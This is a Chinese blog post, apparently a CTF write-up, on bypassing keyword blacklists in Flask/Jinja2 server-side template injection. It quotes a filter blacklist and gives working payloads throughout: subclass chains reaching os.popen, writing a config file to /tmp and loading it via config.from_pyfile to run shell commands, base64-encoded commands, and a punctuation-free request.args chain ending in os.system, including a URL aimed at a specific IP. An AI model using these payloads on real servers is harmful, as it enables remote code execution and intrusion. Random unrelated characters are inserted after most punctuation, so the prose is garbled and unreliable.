寒假前最后一篇文章
說來也巧入问,前兩天在ichunqiu上連續(xù)做了兩道題居然都是模板注入踏堡。搜索資料之余也漲了不少見識(shí)唱矛,下面總結(jié)下這類題目的bypass技巧:(感謝各位dalao們的文章)
從這位dalao的wp中學(xué)習(xí)到的:
https://evi0s.com/2018/11/26/%E6%B7%B1%E5%85%A5ssti-%E4%BB%8Enctf2018%E4%B8%A4%E9%81%93flask%E7%9C%8Bbypass%E6%96%B0%E5%A7%BF%E5%8A%BF/
先拿去年校賽的SSTI源碼中的黑名單看看:
blacklist = ['import','getattr','os','class','subclasses','mro','request','args','eval','if','for',' subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals']
做這類題目最要命的是什么缺前?當(dāng)然是限制類的訪問,再進(jìn)一步的話监氢,對(duì)os的限制讓我們不能輕易進(jìn)行文件讀取布蔗。
所以有了以下一個(gè)繞掉限制類的方法:
{{ session['__cla'+'ss__'] }}
首先由于session是dict對(duì)象藤违,使我們可以通過鍵名來訪問類。時(shí)候只需要一直訪問基類即可回到ssti的常規(guī)payload上去纵揍。
{{ session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0] }}.['__subcla'+'ss__']()
到這一步?jīng)]有問題的話纺弊,就大有可為了。因?yàn)榭梢詮幕仫@的子類中挑選自己需要的類去進(jìn)行后續(xù)操作骡男。
之前看dalao的wp中總結(jié)的非常到位:
SSTI目的無非就是兩個(gè):文件讀寫淆游、getshell。因此我們核心應(yīng)該放在file類和os類
然后通過實(shí)例化后全局變量這一寶藏來進(jìn)行文件讀取隔盛。
.__init__.__globals__['po'+'pen']('ls /').read()
當(dāng)然犹菱,像上面這種繞過還算友好。而做到ichunqiu中的FUZZ時(shí)吮炕,自己發(fā)現(xiàn)腊脱,實(shí)例化后到globals這一步就利用不了了,極有可能連globals關(guān)鍵字都waf了龙亲。
那么有沒有方法不去調(diào)用globals(相當(dāng)于放棄直接執(zhí)行函數(shù))進(jìn)行g(shù)etshell呢陕凹?有,而且是一個(gè)非常出色的利用:
參考下面這篇文章
https://www.freebuf.com/articles/web/98928.html
步驟:
1鳄炉、注入
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
這將向遠(yuǎn)程服務(wù)器寫入一個(gè)文件杜耙,當(dāng)編譯完成為subprocess模塊引入check_output方法,并將其設(shè)置指向變量RUNCMD
{{ config.from_pyfile('/tmp/owned.cfg') }}
觸發(fā)編譯進(jìn)程,向config對(duì)象添加一個(gè)新項(xiàng)
{{ config['RUNCMD']('id(操作)',shell=True) }}
達(dá)到命令執(zhí)行的效用拂盯。
其中如果為了應(yīng)付過濾的話佑女,操作就變得多樣了起來,比如利用管道符加上base64編碼可以繞過檢查,執(zhí)行l(wèi)s -la
{{config['RUNCMD']('`echo bHMgLWxh|base64 -d`',shell=True)}}
當(dāng)然谈竿,如果不做到限制globals這么絕团驱,但還是過濾了標(biāo)點(diǎn)或者少部分關(guān)鍵字的話,我們還是可以用其它相對(duì)高級(jí)的方法繞過的:
以常規(guī)paylaod為例:
''.__class__.__mro__[1].__subclasses__()[300].__init__.__globals__["os"]["popen"]("whoami").read()
假如過濾了引號(hào)空凸,那么從開始的第一對(duì)引號(hào)不能用嚎花,從os
開始的引號(hào)也不能用。
第一種繞過很簡單呀洲,就是找代替紊选。第一個(gè)引號(hào)的作用為了引出基類,而任何數(shù)據(jù)結(jié)構(gòu)都可以引出基類两嘴,所以這里可以直接使用數(shù)組代替.使用[]
丛楚。
而后面的os的代替可以使用request.args
,它存儲(chǔ)著請(qǐng)求參數(shù)以及其值的字典
參考下文
https://cloud.tencent.com/developer/article/1520397
http://152.136.21.148:5317/render?data={{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()}}&x1=__class__&x2=__base__&x3=__subclasses__
{{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()|attr(request.args.x4)(233)|attr(request.args.x5)|attr(request.args.x6)|attr(request.args.x4)(request.args.x7)|attr(request.args.x4)(request.args.x8)(request.args.x9)}}&x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").system("ls")
完全杜絕了標(biāo)點(diǎn)的使用憔辫。達(dá)到了注入的效果。
如果過濾中括號(hào)仿荆,則可以pop/getitem等數(shù)組自帶方法贰您。比如
"".__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(300).__init__.__globals__["os"]["popen"]("whoami").read()
大抵上如此坏平。
這段時(shí)間因?yàn)轳R上準(zhǔn)備復(fù)習(xí)期末了,所以不會(huì)再更新文章或者參加比賽锦亦。好好沉淀一下吧舶替。